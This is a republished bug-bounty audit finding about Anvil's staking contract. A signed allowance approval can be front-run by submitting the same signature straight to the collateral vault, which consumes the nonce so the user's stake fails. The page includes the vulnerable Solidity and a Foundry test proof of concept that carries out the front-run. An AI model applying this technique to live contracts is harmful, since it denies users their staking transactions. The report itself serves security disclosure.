Skip to content
Race condition Audit finding Intermediate

Stake with signature can be front-run lead to user's stake failed

A user's stake transaction that includes a signed allowance approval can be front-run by an attacker who submits the same signature directly to the collateral vault, consuming the nonce and causing the user's stake to fail. The user must then make another transaction, and if the token's approval state has changed, they may be unable to stake again.

coffiasd Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#36268 [SC-Medium] stake with signature can be front-run lead to user's stake failed

Submitted on Oct 27th 2024 at 05:37:13 UTC by @coffiasd for Audit Comp | Anvil

Description

Brief/Intro

User stake assets to pool by invoke stake along with signed signature , this action can be front-run lead to user's stake failed

Vulnerability Details

The signature can be used to invoke CollateralVault::modifyCollateralizableTokenAllowanceWithSignature directly to change the allowcance of specifc ERC20 token.Due to the Nonce auto increased , user's transaction will result in failed.

Impact Details

User have to make another transaction , if this ERC20 token's approve state changed, user is unable to stake again.

References

```solidity function stake( IERC20 _token, uint256 _amount, bytes calldata _collateralizableApprovalSignature ) external withEligibleAccountTokensReleased(msg.sender, address(_token)) returns (uint256) { if (_collateralizableApprovalSignature.length > 0) { collateral.modifyCollateralizableTokenAllowanceWithSignature( msg.sender, address(this), address(_token), Pricing.safeCastToInt256(_amount), _collateralizableApprovalSignature ); }

    return _stake(_token, _amount);
}

```

```solidity function modifyCollateralizableTokenAllowanceWithSignature( address _accountAddress, address _collateralizableContractAddress, address _tokenAddress, int256 _allowanceAdjustment, bytes calldata _signature ) external { if (_allowanceAdjustment > 0 && !collateralizableContracts[_collateralizableContractAddress]) revert ContractNotApprovedByProtocol(_collateralizableContractAddress);

    _modifyCollateralizableTokenAllowanceWithSignature(
        _accountAddress,
        _collateralizableContractAddress,
        _tokenAddress,
        _allowanceAdjustment,
        _signature
    ); //@audit this can be front-run and break the func.
}

```

Link to Proof of Concept

https://gist.github.com/coffiasd/815078ec565993e6e74874f944629706

Proof of Concept

Proof of Concept

```solidity function testUserStakeFromPool() public { uint256 privateKey = 123; address alice = vm.addr(privateKey); MockERC20 token = MockERC20Tokens[0]; uint256 amount = 1e18; deal(address(token),alice,amount);

    uint256[] memory amounts = new uint256[](1);
    address[] memory tokens = new address[](1);
    amounts[0] = amount;
    tokens[0] = address(token);

    //depositAndApprove.
    vm.startPrank(alice);
    token.approve(address(colla), amount);
    colla.depositAndApprove(tokens, amounts, address(pool));
    vm.stopPrank();

    bytes32 hash = bytes32(0x082cb21d17680735512c9f8fae9ea433c5d7e18b2a4d9a2f0adadbf56761c4d6);

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);
    bytes memory signature = abi.encodePacked(r, s, v);

    colla.modifyCollateralizableTokenAllowanceWithSignature(alice,address(pool),address(token),1e18,signature);

    vm.prank(alice);
    pool.stake(IERC20(address(token)),1e18,signature);
}

```

The original report as published on Immunefi, by coffiasd. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The user's stake transaction fails and they must make another transaction; if the token's approval state has changed, they may be unable to stake again.

What the attacker needed

Attacker can see the signed approval; attacker can submit a transaction first

How it was found

  1. User deposits and approves tokens for the pool.
  2. User signs an allowance approval for the stake amount.
  3. Attacker submits the signature directly to the collateral vault's modifyCollateralizableTokenAllowanceWithSignature.
  4. User's stake transaction with the same signature fails because the nonce is already used.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you stake tokens, you can include a signed permission slip that lets the staking contract adjust how many of your tokens it is allowed to use. That permission slip can only be used once. An attacker can copy it and submit it first, so when your own transaction arrives the permission slip is already used up and your stake fails.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by coffiasd

View all

4 more disclosed reports, best first.

More from Anvil

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.